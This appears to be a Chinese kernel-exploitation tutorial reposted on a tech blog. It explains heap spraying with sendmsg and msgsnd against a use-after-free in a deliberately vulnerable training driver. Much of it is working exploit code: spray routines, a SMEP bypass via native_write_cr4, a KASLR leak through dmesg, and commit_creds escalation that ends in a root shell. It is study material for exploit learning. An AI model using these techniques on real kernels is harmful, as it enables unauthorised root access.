linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用

2019-09-13 约 1230 字 预计阅读 6 分钟

声明:本文 【linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用】 由作者 bsauce 于 2019-09-13 09:29:38 首发 先知社区 曾经 浏览数 29 次

感谢 bsauce 的辛苦付出!

说明:实验所需的驱动源码、bzImage、cpio文件见我的github进行下载。本教程适合对漏洞提权有一定了解的同学阅读,具体可以看看我先知之前的文章,或者我的简书

一、 堆喷函数介绍

在linux内核下进行堆喷射时,首先需要注意喷射的堆块的大小,因为只有大小相近的堆块才保存在相同的cache中。具体的cache块分布如下图:

本文的漏洞例子中uaf_obj对象的大小是84,实际申请时会分配一个96字节的堆块。本例中我们可以申请96大小的k_object对象,并在堆块上任意布置数据,但这样的话就太简单了点,实际漏洞利用中怎么会这么巧就让你控制堆上的数据呢。所以我们需要找到某些用户可调用的函数,它会在内核空间申请指定大小的chunk(本例中我们希望能分配到96字节的块),并把用户的数据拷贝过去。

(1)sendmsg

static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg,
             struct msghdr *msg_sys, unsigned int flags,
             struct used_address *used_address,
             unsigned int allowed_msghdr_flags)
{
    struct compat_msghdr __user *msg_compat =
        (struct compat_msghdr __user *)msg;
    struct sockaddr_storage address;
    struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;
    unsigned char ctl[sizeof(struct cmsghdr) + 20]
                __aligned(sizeof(__kernel_size_t)); // 创建44字节的栈缓冲区ctl,20是ipv6_pktinfo结构的大小
    unsigned char *ctl_buf = ctl; // ctl_buf指向栈缓冲区ctl
    int ctl_len;
    ssize_t err;

    msg_sys->msg_name = &address;

    if (MSG_CMSG_COMPAT & flags)
        err = get_compat_msghdr(msg_sys, msg_compat, NULL, &iov);
    else
        err = copy_msghdr_from_user(msg_sys, msg, NULL, &iov); // 用户数据拷贝到msg_sys,只拷贝msghdr消息头部
    if (err < 0)
        return err;

    err = -ENOBUFS;

    if (msg_sys->msg_controllen > INT_MAX) //如果msg_sys小于INT_MAX,就把ctl_len赋值为用户提供的msg_controllen
        goto out_freeiov;
    flags |= (msg_sys->msg_flags & allowed_msghdr_flags);
    ctl_len = msg_sys->msg_controllen;
    if ((MSG_CMSG_COMPAT & flags) && ctl_len) {
        err =
            cmsghdr_from_user_compat_to_kern(msg_sys, sock->sk, ctl,
                             sizeof(ctl));
        if (err)
            goto out_freeiov;
        ctl_buf = msg_sys->msg_control;
        ctl_len = msg_sys->msg_controllen;
    } else if (ctl_len) {
        BUILD_BUG_ON(sizeof(struct cmsghdr) !=
                 CMSG_ALIGN(sizeof(struct cmsghdr)));
        if (ctl_len > sizeof(ctl)) {  //注意用户数据的size必须大于44字节
            ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);//sock_kmalloc最后会调用kmalloc 分配 ctl_len 大小的堆块
            if (ctl_buf == NULL)
                goto out_freeiov;
        }
        err = -EFAULT;
        /* 注意,msg_sys->msg_control是用户可控的用户缓冲区;ctl_len是用户可控的长度。  用户数据拷贝到ctl_buf内核空间。
         */
        if (copy_from_user(ctl_buf,
                   (void __user __force *)msg_sys->msg_control,
                   ctl_len))
            goto out_freectl;
        msg_sys->msg_control = ctl_buf;
    }
    msg_sys->msg_flags = flags;
...

结论:只要传入size大于44,就能控制kmalloc申请的内核空间的数据。

数据流

msg ---> msg_sys ---> msg_sys->msg_controllen ---> ctl_len

msg ---> msg_sys->msg_control ---> ctl_buf

利用流程

//限制: BUFF_SIZE > 44
char buff[BUFF_SIZE];
struct msghdr msg = {0};
struct sockaddr_in addr = {0};
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_family = AF_INET;
addr.sin_port = htons(6666);
// 布置用户空间buff的内容
msg.msg_control = buff;
msg.msg_controllen = BUFF_SIZE; 
msg.msg_name = (caddr_t)&addr;
msg.msg_namelen = sizeof(addr);
// 假设此时已经产生释放对象,但指针未清空
for(int i = 0; i < 100000; i++) {
  sendmsg(sockfd, &msg, 0);
}
// 触发UAF即可

(2)msgsnd

// /ipc/msg.c
SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz,
        int, msgflg)
{
    return ksys_msgsnd(msqid, msgp, msgsz, msgflg);
}
// /ipc/msg.c
long ksys_msgsnd(int msqid, struct msgbuf __user *msgp, size_t msgsz,
         int msgflg)
{
    long mtype;

    if (get_user(mtype, &msgp->mtype))
        return -EFAULT;
    return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg);
}
// /ipc/msg.c
static long do_msgsnd(int msqid, long mtype, void __user *mtext,
        size_t msgsz, int msgflg)
{
    struct msg_queue *msq;
    struct msg_msg *msg;
    int err;
    struct ipc_namespace *ns;
    DEFINE_WAKE_Q(wake_q);

    ns = current->nsproxy->ipc_ns;

    if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)
        return -EINVAL;
    if (mtype < 1)
        return -EINVAL;
  msg = load_msg(mtext, msgsz);  // 调用load_msg
...
// /ipc/msgutil.c
struct msg_msg *load_msg(const void __user *src, size_t len)
{
    struct msg_msg *msg;
    struct msg_msgseg *seg;
    int err = -EFAULT;
    size_t alen;

    msg = alloc_msg(len);  // alloc_msg
    if (msg == NULL)
        return ERR_PTR(-ENOMEM);

    alen = min(len, DATALEN_MSG); // DATALEN_MSG
    if (copy_from_user(msg + 1, src, alen)) // copy1
        goto out_err;

    for (seg = msg->next; seg != NULL; seg = seg->next) {
        len -= alen;
        src = (char __user *)src + alen;
        alen = min(len, DATALEN_SEG);
        if (copy_from_user(seg + 1, src, alen)) // copy2
            goto out_err;
    }

    err = security_msg_msg_alloc(msg);
    if (err)
        goto out_err;

    return msg;

out_err:
    free_msg(msg);
    return ERR_PTR(err);
}
// /ipc/msgutil.c
#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
static struct msg_msg *alloc_msg(size_t len)
{
    struct msg_msg *msg;
    struct msg_msgseg **pseg;
    size_t alen;

    alen = min(len, DATALEN_MSG);
    msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT); // 先分配了一个msg_msg结构大小
...

msgsnd()--->ksys_msgsnd()--->do_msgsnd()

do_msgsnd()根据用户传递的buffer和size参数调用load_msg(mtext, msgsz),load_msg()先调用alloc_msg(msgsz)创建一个msg_msg结构体(),然后拷贝用户空间的buffer紧跟msg_msg结构体的后面,相当于给buffer添加了一个头部,因为msg_msg结构体大小等于0x30,因此用户态的buffer大小等于xx-0x30

结论:前0x30字节不可控。数据量越大(本文示例是96字节),发生阻塞可能性越大,120次发送足矣。

利用流程

// 只能控制0x30字节以后的内容
struct {
  long mtype;
  char mtext[BUFF_SIZE];
}msg;
memset(msg.mtext, 0x42, BUFF_SIZE-1); // 布置用户空间的内容
msg.mtext[BUFF_SIZE] = 0;
int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
msg.mtype = 1; //必须 > 0
// 假设此时已经产生释放对象,但指针未清空
for(int i = 0; i < 120; i++)
  msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
// 触发UAF即可

二、 漏洞分析

(1)代码分析

我们以漏洞驱动-vuln_driver来进行实践。vuln_driver驱动包含漏洞有任意地址读写、空指针引用、未初始化栈变量、UAF漏洞、缓冲区溢出。本文主要分析UAF漏洞及其利用。

// vuln_driver.c: do_ioctl()驱动号分配函数
static long do_ioctl(struct file *filp, unsigned int cmd, unsigned long args)
{
    int ret;
    unsigned long *p_arg = (unsigned long *)args;
    ret = 0;

    switch(cmd) {
        case DRIVER_TEST:
            printk(KERN_WARNING "[x] Talking to device [x]\n");
            break;
        case ALLOC_UAF_OBJ:
            alloc_uaf_obj(args);
            break;
        case USE_UAF_OBJ:
            use_uaf_obj();
            break;
        case ALLOC_K_OBJ:
            alloc_k_obj((k_object *) args);
            break;
        case FREE_UAF_OBJ:
            free_uaf_obj();
            break;
    }
    return ret;
}
//uaf对象的结构,包含一个函数指针fn,size=84
    typedef struct uaf_obj
    {
        char uaf_first_buff[56];
        long arg;
        void (*fn)(long);
        char uaf_second_buff[12];
    }uaf_obj;
//k_object对象用于测试
typedef struct k_object
    {
        char kobj_buff[96];
    }k_object;

主要代码如下,漏洞就是在释放堆时,未将存放堆地址的全局变量清零。

// 1. uaf_callback() 一个简单的回调函数
  uaf_obj *global_uaf_obj = NULL;
  static void uaf_callback(long num)
    {
        printk(KERN_WARNING "[-] Hit callback [-]\n");
    }   

// 2. 分配一个uaf对象,fn指向回调函数uaf_callback,第一个缓冲区uaf_first_buff填充"A"。 global_uaf_obj全局变量指向该对象
    static int alloc_uaf_obj(long __user arg)
    {
        struct uaf_obj *target;
        target = kmalloc(sizeof(uaf_obj), GFP_KERNEL);

        if(!target) {
            printk(KERN_WARNING "[-] Error no memory [-]\n");
            return -ENOMEM;
        }
        target->arg = arg;
        target->fn = uaf_callback;
        memset(target->uaf_first_buff, 0x41, sizeof(target->uaf_first_buff));

        global_uaf_obj = target;
        printk(KERN_WARNING "[x] Allocated uaf object [x]\n");
        return 0;
    }

// 3. 释放uaf对象,但未清空global_uaf_obj指针
    static void free_uaf_obj(void)
    {
        kfree(global_uaf_obj);
        //global_uaf_obj = NULL 
        printk(KERN_WARNING "[x] uaf object freed [x]");
    }

// 4. 使用uaf对象,调用成员fn指向的函数
    static void use_uaf_obj(void)
    {
        if(global_uaf_obj->fn)
        {
            //debug info
            printk(KERN_WARNING "[x] Calling 0x%p(%lu)[x]\n", global_uaf_obj->fn, global_uaf_obj->arg);

            global_uaf_obj->fn(global_uaf_obj->arg);
        }
    }

// 5. 分配k_object对象,并从用户地址user_kobj拷贝数据到分配的地址
    static int alloc_k_obj(k_object *user_kobj)
    {
        k_object *trash_object = kmalloc(sizeof(k_object), GFP_KERNEL);
        int ret;

        if(!trash_object) {
            printk(KERN_WARNING "[x] Error allocating k_object memory [-]\n");
            return -ENOMEM;
        }

        ret = copy_from_user(trash_object, user_kobj, sizeof(k_object));
        printk(KERN_WARNING "[x] Allocated k_object [x]\n");
        return 0;
    }

(2)利用思路

思路:如果uaf_obj被释放,但指向它的global_uaf_obj变量未清零,若另一个对象分配到相同的cache,并且能够控制该cache上的内容,我们就能控制fn()调用的函数。

测试:本例中我们可以利用k_object对象来布置堆数据,将uaf_obj对象的fn指针覆盖为0x4242424242424242。

//完整代码见easy_uaf.c
void use_after_free_kobj(int fd)
{
     k_object *obj = malloc(sizeof(k_object));

    //60 bytes overwrites the last 4 bytes of the address
    memset(obj->buff, 0x42, 60); 

    ioctl(fd, ALLOC_UAF_OBJ, NULL);
    ioctl(fd, FREE_UAF_OBJ, NULL);

    ioctl(fd, ALLOC_K_OBJ, obj);
    ioctl(fd, USE_UAF_OBJ, NULL);
}

报错结果如下:

三、 漏洞利用

(1)绕过SMEP

1. 绕过SMEP防护方法

CR4寄存器的第20位为1,则表示开启了SMEP,若执行到用户指令,就会报错"BUG: unable to handle kernel paging request at 0xxxxxx"。绕过SMEP的方法见我的笔记https://www.jianshu.com/p/6f1d2f3f5126。不过最简单的方法是通过`native_write_cr4()`函数:

// /arch/x86/include/asm/special_insns.h
static inline void native_write_cr4(unsigned long val)
{
    asm volatile("mov %0,%%cr4": : "r" (val), "m" (__force_order));
}

本文用到的vuln_driver简化了利用过程,否则我们还需要控制第1个参数,所以利用目标就是:global_uaf_obj->fn(global_uaf_obj->arg) ---> native_write_cr4(global...->arg)。 也即执行native_write_cr4(0x407f0)即可。

2. 堆喷函数

sendmsg注意:分配堆块必须大于44。

//用sendmsg构造堆喷,一个通用接口搞定,只需传入待执行的目标地址+参数
void use_after_free_sendmsg(int fd, size_t target, size_t arg)
{
    char buff[BUFF_SIZE];
    struct msghdr msg={0};
    struct sockaddr_in addr={0};
    int sockfd = socket(AF_INET,SOCK_DGRAM,0);
    // 布置堆喷数据
    memset(buff,0x43,sizeof buff);
    memcpy(buff+56,&arg,sizeof(long));
    memcpy(buff+56+(sizeof(long)),&target,sizeof(long));

    addr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
    addr.sin_family=AF_INET;
    addr.sin_port=htons(6666);

    // buff是堆喷射的数据,BUFF_SIZE是最后要调用KMALLOC申请的大小
    msg.msg_control=buff;
    msg.msg_controllen=BUFF_SIZE;
    msg.msg_name=(caddr_t)&addr;
    msg.msg_namelen= sizeof(addr);
    // 构造UAF对象
    ioctl(fd,ALLOC_UAF_OBJ,NULL);
    ioctl(fd,FREE_UAF_OBJ,NULL);
    //开始堆喷
    for (int i=0;i<10000;i++){
        sendmsg(sockfd,&msg,0);
    }
    //触发
    ioctl(fd,USE_UAF_OBJ,NULL);
}
//用msgsnd构造堆喷
int use_after_free_msgsnd(int fd, size_t target, size_t arg)
{
    int new_len=BUFF_SIZE-48;
    struct {
        size_t mtype;
        char mtext[new_len];
    } msg;
    //布置堆喷数据,必须减去头部48字节
    memset(msg.mtext,0x42,new_len-1);
    memcpy(msg.mtext+56-48,&arg,sizeof(long));
    memcpy(msg.mtext+56-48+(sizeof(long)),&target,sizeof(long));
    msg.mtext[new_len]=0;
    msg.mtype=1; //mtype必须 大于0

    // 创建消息队列
    int msqid=msgget(IPC_PRIVATE,0644 | IPC_CREAT);
    // 构造UAF对象
    ioctl(fd, ALLOC_UAF_OBJ,NULL);
    ioctl(fd,FREE_UAF_OBJ,NULL);
    //开始堆喷
    for (int i=0;i<120;i++)
        msgsnd(msqid,&msg,sizeof(msg.mtext),0);
    //触发
    ioctl(fd,USE_UAF_OBJ,NULL);
}

msgsnd注意:msgsnd堆喷必须减去头部长度48,前48字节不可控。

3. 绕过SMEP测试

完整代码见test_smep.c

注意:暂时先关闭ASLR,单核启动,修改start.sh脚本即可。

int main()
{
    size_t native_write_cr4_addr=0xffffffff81065a30;
    size_t fake_cr4=0x407e0;

    void *addr=mmap((void *)MMAP_ADDR,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_SHARED|MAP_ANON,0,0);
    void **fn=MMAP_ADDR;
    // 拷贝stub代码到 MMAP_ADDR
    memcpy(fn,stub,128);
    int fd=open(PATH,O_RDWR);
    //用于标识dmesg中字符串的开始
    ioctl(fd,DRIVER_TEST,NULL);
    /*
    use_after_free_sendmsg(fd,native_write_cr4_addr,fake_cr4);
    use_after_free_sendmsg(fd,MMAP_ADDR,0);
    */

    use_after_free_msgsnd(fd,native_write_cr4_addr,fake_cr4);
    use_after_free_msgsnd(fd,MMAP_ADDR,0);

    return 0;
}

修改cr4之前,执行用户代码会报错:

修改cr4之后,能够执行到用户代码:

(2)绕过KASLR

1. 方法

注意start.sh中开启ASLR。

目标:泄露kernel地址,获取native_write_cr4prepare_kernel_credcommit_creds函数地址。

说明:一般都会开启kptr_restrict保护,不能读取/proc/kallsyms,但是通常可以dmesg读取内核打印的信息。

方法:由dmesg可以想到,构造pagefault,利用内核打印信息来泄露kernel地址。

如上图所示,可以利用SyS_ioctl+0x79/0x90来泄露kernel地址,接下来只需寻找目标函数地址的相对偏移即可。

# [<ffffffff8122bc59>] SyS_ioctl+0x79/0x90
/ # cat /proc/kallsyms | grep native_write_cr4
ffffffff81065a30 t native_write_cr4
/ # cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff810a6ca0 T prepare_kernel_cred
/ # cat /proc/kallsyms | grep commit_creds
ffffffff810a68b0 T commit_creds
2. 步骤
  • 在子线程中触发page_fault,从dmesg读取打印信息
  • 找到SyS_ioctl+0x79地址,计算kernel_base
  • 计算3个目标函数地址

(3)整合exp

1. 单核运行
//让程序只在单核上运行,以免只关闭了1个核的smep,却在另1个核上跑shell
void force_single_core()
{
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(0,&mask);

    if (sched_setaffinity(0,sizeof(mask),&mask))
        printf("[-----] Error setting affinity to core0, continue anyway, exploit may fault \n");
    return;
}
2. 泄露kernel基址
// 构造 page_fault 泄露kernel地址。从dmesg读取后写到/tmp/infoleak,再读出来
    pid_t pid=fork();
    if (pid==0){
        do_page_fault();
        exit(0);
    }
    int status;
    wait(&status);    // 等子进程结束
    //sleep(10);
    printf("[+] Begin to leak address by dmesg![+]\n");
    size_t kernel_base = get_info_leak()-sys_ioctl_offset;
    printf("[+] Kernel base addr : %p [+] \n", kernel_base);

    native_write_cr4_addr+=kernel_base;
    prepare_kernel_cred_addr+=kernel_base;
    commit_creds_addr+=kernel_base;
3. 关闭smep,并提权
//关闭smep,并提权
    use_after_free_sendmsg(fd,native_write_cr4_addr,fake_cr4);
    use_after_free_sendmsg(fd,get_root,0);   //MMAP_ADDR
    //use_after_free_msgsnd(fd,native_write_cr4_addr,fake_cr4);
    //use_after_free_msgsnd(fd,get_root,0);  //MMAP_ADDR

    if (getuid()==0)
    {
        printf("[+] Congratulations! You get root shell !!! [+]\n");
        system("/bin/sh");
    }

(4)问题

原文的exploit有问题,是将get_root()代码用mmap映射到0x100000000000,然后跳转过去执行,但是直接把代码拷贝过去会有地址引用错误。

#执行0x100000000000处的内容时产生pagefault,可能是访问0x1000002ce8fd地址出错
 gdb-peda$ x /10i $pc
=> 0x100000000000:  push   rbp
   0x100000000001:  mov    rbp,rsp
   0x100000000004:  push   rbx
   0x100000000005:  sub    rsp,0x8
   0x100000000009:  
    mov    rbx,QWORD PTR [rip+0x2ce8ed]        # 0x1000002ce8fd
   0x100000000010:  
    mov    rax,QWORD PTR [rip+0x2ce8ee]        # 0x1000002ce905
   0x100000000017:  mov    edi,0x0
   0x10000000001c:  call   rax
   0x10000000001e:  mov    rdi,rax
   0x100000000021:  call   rbx
#报错信息如下:
[   10.421887] BUG: unable to handle kernel paging request at 00001000002ce8fd
[   10.424836] IP: [<0000100000000009>] 0x100000000009

解决:不需要将get_root()代码拷贝到0x100000000000,直接执行get_root()即可。

最后成功提权:

exp代码见exp_heap_spray.c

参考:

https://invictus-security.blog/2017/06/15/linux-kernel-heap-spraying-uaf/

http://edvison.cn/2018/07/25/%E5%A0%86%E5%96%B7%E5%B0%84/

https://github.com/invictus-0x90/vulnerable_linux_driver

https://turingsec.github.io/CVE-2016-0728/

关键词:[‘安全技术’, ‘二进制安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now